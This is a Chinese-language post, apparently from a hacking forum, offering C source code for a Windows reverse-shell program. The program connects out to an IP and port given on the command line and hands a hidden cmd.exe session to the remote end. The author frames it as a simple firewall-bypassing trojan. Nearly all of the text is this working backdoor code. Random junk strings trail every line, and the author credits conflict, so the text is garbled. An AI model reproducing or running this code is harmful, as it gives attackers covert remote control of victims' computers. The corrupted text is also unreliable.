这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hd\gH^wk
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/* ============================== O4\Z!R60g
Rebound port in Windows NT U@ ?LP
By wind,2006/7 ;h6v@)#GX
===============================*/ {^mNJ
#include z?/1Kj}xG
#include omO
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); b5$JfjI
SOCKET sClient; [ylsz?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nkxzk$
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void main(int argc,char **argv) >^q7c8]~g
{ XZ&KR.C,
WSADATA stWsaData; geQ{EwO8n
int nRet; gTgMqvt
SOCKADDR_IN stSaiClient,stSaiServer; MObt,[^W
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if(argc != 3) X'. qYsS
{ D0k
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printf("Useage:\n\rRebound DestIP DestPort\n"); e0@6Pd
return; n55Pv3}C
} 3~,d+P
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WSAStartup(MAKEWORD(2,2),&stWsaData); UDhG :
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2"|2a@
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stSaiClient.sin_family = AF_INET; B\J^=W+`
stSaiClient.sin_port = htons(0); 9TF f8'?d
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _Jwq`]Z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S6}@I ,Q
{ u p.Q>28r
printf("Bind Socket Failed!\n"); l Z#o+d2Y
return; /V3=KY`_J
} F:*W5xX
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stSaiServer.sin_family = AF_INET; 8^Hn"v
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Vfv@7@q
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G+B~Ix-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a#mNE*Dg
{ F'g Vzf
printf("Connect Error!"); ,yd
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return; ]| N3eu
} SH*C"
OutputShell(); :[ k4Z]t8
} +k
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void OutputShell() W_m"ySQs
{ `:P
char szBuff[1024]; [SJ6@q
SECURITY_ATTRIBUTES stSecurityAttributes; R@Gq)P9?
OSVERSIONINFO stOsversionInfo; 5H=ko8fZ=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~/mwx8~
STARTUPINFO stStartupInfo; >zDF2Y[
char *szShell; h;=6VgXZ
PROCESS_INFORMATION stProcessInformation; DI!V^M[~u
unsigned long lBytesRead; Gpm{m:$L
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jp $Z]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GUF"<k
stSecurityAttributes.lpSecurityDescriptor = 0; K3\#E/Ox
stSecurityAttributes.bInheritHandle = TRUE; gp$Ucfu'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !LkWzn3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?Ma~^0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Lh.`C7]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hp{OL< 2M
stStartupInfo.wShowWindow = SW_HIDE; ^Rx9w!pAN
stStartupInfo.hStdInput = hReadPipe; yLsz8j-QJ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V5p=
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GetVersionEx(&stOsversionInfo); Lm@vXgMD
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switch(stOsversionInfo.dwPlatformId) 9-]i.y
{ ,f1q)Qf
case 1: >~K
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szShell = "command.com"; @ym/27cRE
break; #Rg|BfV-
default: p{PE@KO:
szShell = "cmd.exe"; BTM),
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break; `/HUV&i"S
} WM)-J^)BJ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); XUuu-wm:}
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send(sClient,szMsg,77,0); K|DWu8
while(1) 88c<:fK
{ $lhC{&tBV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q,&